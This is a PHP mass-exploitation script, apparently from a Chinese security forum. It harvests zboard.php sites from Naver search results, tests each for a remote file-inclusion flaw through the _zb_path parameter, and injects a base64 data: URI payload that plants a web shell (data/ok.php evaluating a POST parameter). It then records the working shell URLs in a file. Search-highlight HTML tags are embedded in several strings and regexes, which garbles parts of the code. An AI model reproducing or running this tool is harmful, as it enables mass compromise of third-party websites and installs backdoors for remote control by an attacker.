<?php
for ($ii=0;$ii<=300;$ii++)
{
$c=(int)$ii*10+1;
print $c."          \r\n";
echo"   +----------------------------------------------------------------+\r\n";
echo"                  http://www.t00ls.net     \r\n";
echo"   +----------------------------------------------------------------+\r\n";
$a="web.search.naver.com";
$b="/search.naver?where=webkr&query=<STRONG><FONT color=#ff0000>zboard</FONT></STRONG>.php&xc=&docid=0&lang=all&st=s&fd=2&start=".$c."&display=10&&qvt=0&sm=tab_pge";
get($a,$b);
}
function get($host,$file)
{
          
            $fp = fsockopen($host, 80, $errno, $errstr, 10);
            if (!$fp) {
                echo "SocketError: $errstr ($errno)\n";
                return false;
            }
            $get = "GET $file HTTP/1.1\r\n";
            $get .= "Host: $host\r\n";
            $get .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5\r\n";
            $get .= "Referer: http://$host\r\n";
            $get .= "Connection: Close\r\n";
                        $get .= "Cookie: nsr_acl_nautocomplete=1; NB=GIYTSNJYHE4DKMJX; NNB=AIUHYPM7OXJUS; page_uid=fOL9uloi5UNssbPX/M8sss--100532; _naver_usersession_=SdN7qBY700kAAAKIwME\r\n\r\n";
            fwrite($fp, $get);
            $response=stream_get_contents($fp);
            preg_match_all("(<a href=\"http://[-\w.]+(:\d+)?(/([\w/_.]*)?)?<STRONG><FONT color=#ff0000>zboard</FONT></STRONG>\.php)",$response,$put);
            for ($i=0;$i<count($put[0]);$i++)
                        {
                                $a=preg_replace('(<a href=\")','',$put[0][$i]);
                               
                               
                                fuck($a);
                       
                        }
                       
           
                    //$sh=fopen('data.txt',"a+");
                        //fwrite($sh,$okk);
                        //fclose($sh);
            fclose($fp);
                                               
}
function fuck($ok)
{
$a=preg_replace('(<STRONG><FONT color=#ff0000>zboard</FONT></STRONG>.php)','',$ok);
$file=$a."_head.php?_zb_path=/tmp%002345";
$xxx=$a."_head.php?_zb_path=data:;base64,PD9mcHV0cyhmb3BlbignLi9kYXRhL29rLnBocCcsJ3crJyksJzw/cGhwIEBldmFsKCRfUE9TVFtjXSk7ZWNobyAiZnVja3lvdSI7Pz4nKTs/Pg==";
$shell=$a."data/ok.php";
$target=parse_url($ok);
$sitepath=$target['host'];
$xx=@file_get_contents($file);
if(eregi("(Warning)",$xx)&&eregi("(tmp)",$xx)) 
{
print $sitepath."     Vulnerability yes"."\r\n";
@file_get_contents($xxx);
$oksehll=@file_get_contents($shell);
if(!eregi("(\\02345)",$xx))
{
print $sitepath."    %00 ok"."\r\n";
}
if (eregi("(fuckyou)",$oksehll))
{
print $shell." pass:c"."\r\n";
$axx="\r\n".$shell;
$sh=fopen('<STRONG><FONT color=#ff0000>zboard</FONT></STRONG>.txt',"a+");
fwrite($sh,$axx);
fclose($sh);
}
 
}
else
{
print $sitepath."     Vulnerability no"."\r\n";
}
}

?>